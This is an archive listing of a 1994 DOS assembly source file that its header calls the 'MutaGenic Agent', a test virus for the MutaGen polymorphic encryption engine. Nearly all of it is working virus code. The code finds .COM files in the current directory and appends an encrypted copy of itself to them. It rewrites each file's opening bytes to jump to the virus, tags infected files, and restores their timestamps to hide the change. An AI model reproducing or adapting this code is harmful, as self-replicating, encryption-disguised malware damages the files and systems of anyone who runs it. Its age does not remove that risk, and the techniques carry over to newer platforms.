home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / PMUPDT13.ZIP / MUTAGEN.ZIP / MGEN090B.ZIP / MGAGENT.ASM next >
Encoding:
Assembly Source File  |  1994-02-21  |  5.0 KB  |  175 lines

  1. ; MutaGenic Agent - MutaGen Test Virus
  2. ; by MnemoniX 1994
  3. ;
  4. ; This is an ordinary run-of-the-mill virus that infects a .COM file in
  5. ; the current directory on run and uses MutaGen to encrypt itself.
  6.  
  7. MGEN_SIZE       equ     1032            ; size of MutaGen
  8.  
  9. ID              equ     'MG'            ; ID word
  10. MAX_INFECTIONS  equ     2               ; infections per run
  11.  
  12. extrn   _MUTAGEN:near                   ; call MutaGen
  13.  
  14. code    segment byte    public  'code'
  15.     org     100h
  16.     assume  cs:code,ds:code,es:code,ss:code
  17.  
  18. start:
  19.     db      0E9h,03h,00h            ; jmp virus_begin
  20.     dw      ID
  21.  
  22. host:
  23.     db      0CDh,020h,00
  24.  
  25. virus_begin:
  26.     call    $+3                     ; BP serves as pointer
  27.     pop     bp
  28.     sub     bp,offset $-1
  29.  
  30.     mov     byte ptr [bp+offset infect],0 ; clear infection flag
  31.  
  32.     mov     ah,2Fh                  ; get original DTA address
  33.     int     21h                     ; and save it
  34.     push    bx
  35.  
  36.     lea     dx,[bp+END_MGEN]        ; set our DTA to the end of the
  37.     mov     ah,1Ah                  ; virus code
  38.     int     21h
  39.  
  40.     call    infect_search           ; infection routine ...
  41.     
  42.     pop     dx                      ; ... and we're done
  43.     mov     ah,1Ah
  44.     int     21h
  45.  
  46.     mov     di,100h                 ; enter in original five bytes of host
  47.     push    di                      ; save DI as host address
  48.     lea     si,[bp+offset prog_len] ; get address of original host header
  49.     mov     si,[si]                 ; found at end of host program
  50.     add     si,100h
  51.     movsb                           ; move five bytes
  52.     movsw
  53.     movsw
  54.  
  55.     ret                             ; and call host 
  56.  
  57. infect_search   proc    near
  58.  
  59.     mov     ah,4Eh                  ; search for first .COM file
  60.     lea     dx,[bp+com_file]        ; in directory
  61.     xor     cx,cx
  62.     int     21h
  63.     jnc     infect_file             ; none present, leave
  64.     jmp     inf_complete
  65.  
  66. infect_file:
  67.     mov     ax,3D02h                ; .COM file found, open
  68.     lea     dx,[bp+END_MGEN+1Eh]
  69.     int     21h
  70.  
  71.     mov     bx,ax                   ; file handle in BX
  72.     mov     ax,5700h                ; get file date and time
  73.     int     21h                     ; and save it
  74.     push    cx
  75.     push    dx
  76.     
  77.     lea     dx,[bp+orig_header]     ; now read in first five bytes
  78.     mov     cx,5                    ; of the file
  79.     mov     ah,3Fh
  80.     int     21h
  81.  
  82.     mov     ax,4202h                ; no, infect this file
  83.     call    move_pointer            ; (this call is to save bytes)
  84.     
  85.     cmp     ax,64000
  86.     jae     infected                ; file is too big, skip it
  87.     cmp     [bp+offset orig_header+3],ID
  88.     je      infected                ; if previously infected, skip it
  89.  
  90.     lea     si,[bp+offset new_jump+1]
  91.     
  92.     push    [bp+offset prog_len]    ; save original program length
  93.     mov     [bp+offset prog_len],ax ; store this program length
  94.  
  95.     add     ax,2
  96.     mov     [si],ax
  97.  
  98.     lea     dx,[bp+offset orig_header] ; store first five bytes of file
  99.     mov     cx,5                    ; at end of file
  100.     mov     ah,40h
  101.     int     21h
  102.  
  103. ; MutaGen calling routine
  104.     push    bx
  105.     push    bp
  106.     mov     dx,[si]                 ; MutaGen offset calculation
  107.     add     dx,103h
  108.     mov     cx,VIRUS_SIZE           ; write VIRUS_SIZE bytes
  109.     lea     di,[bp+END_MGEN+80h]    ; store at end of virus
  110.     lea     si,[bp+offset virus_begin]
  111.     call    _MUTAGEN
  112.  
  113.     pop     bp
  114.     pop     bx
  115.     lea     dx,[bp+offset END_MGEN+80h] ; write encrypted code
  116.     mov     ah,40h                  ; to file
  117.     int     21h
  118.  
  119.     pop     [bp+offset prog_len]    ; restore original program length
  120.  
  121.     mov     ax,4200h                ; lastly, add our new jump instruction
  122.     call    move_pointer            ; to the beginning of the file
  123.  
  124.     lea     dx,[bp+offset new_jump]
  125.     mov     cx,5                    ; write five bytes to file
  126.     mov     ah,40h
  127.     int     21h
  128.  
  129.     inc     byte ptr [bp+offset infect] ; set infection flag
  130.  
  131. infected:
  132.     pop     dx                      ; restore time and date
  133.     pop     cx
  134.     mov     ax,5701h
  135.     int     21h
  136.  
  137.     mov     ah,3Eh                  ; close file
  138.     int     21h
  139.  
  140.     cmp     byte ptr [bp+offset infect],1  ; did an infection occur?
  141.     je      inf_complete            ; yes, go
  142.  
  143.     mov     ah,4Fh                  ; find another file
  144.     int     21h                     ; and repeat
  145.     jc      inf_complete            ; none found, quit
  146.     jmp     infect_file
  147. inf_complete:
  148.     ret
  149.  
  150.                     
  151. move_pointer:
  152.     xor     cx,cx                   ; i'm being really stingy with space
  153.     xor     dx,dx                   ; here ...
  154.     int     21h
  155.     ret
  156.  
  157.         endp
  158.  
  159. com_file        db      '*.COM',0       ; .COM file
  160. orig_header     db      5 dup(0)        ; first three bytes of program
  161. new_jump        db      0E9h,00,00      ; new jump instruction
  162.         dw      ID              ; ID signature
  163. prog_len        dw      3               ; length of file for return sequence
  164. infect          db      0
  165. sig             db      '[MutaGenic Agent]',0
  166.  
  167. virus_end:
  168.  
  169. END_MGEN        equ     virus_end + MGEN_SIZE
  170. VIRUS_SIZE      equ     virus_end - virus_begin + MGEN_SIZE
  171.  
  172. code    ends               
  173.     end     start
  174.  
  175.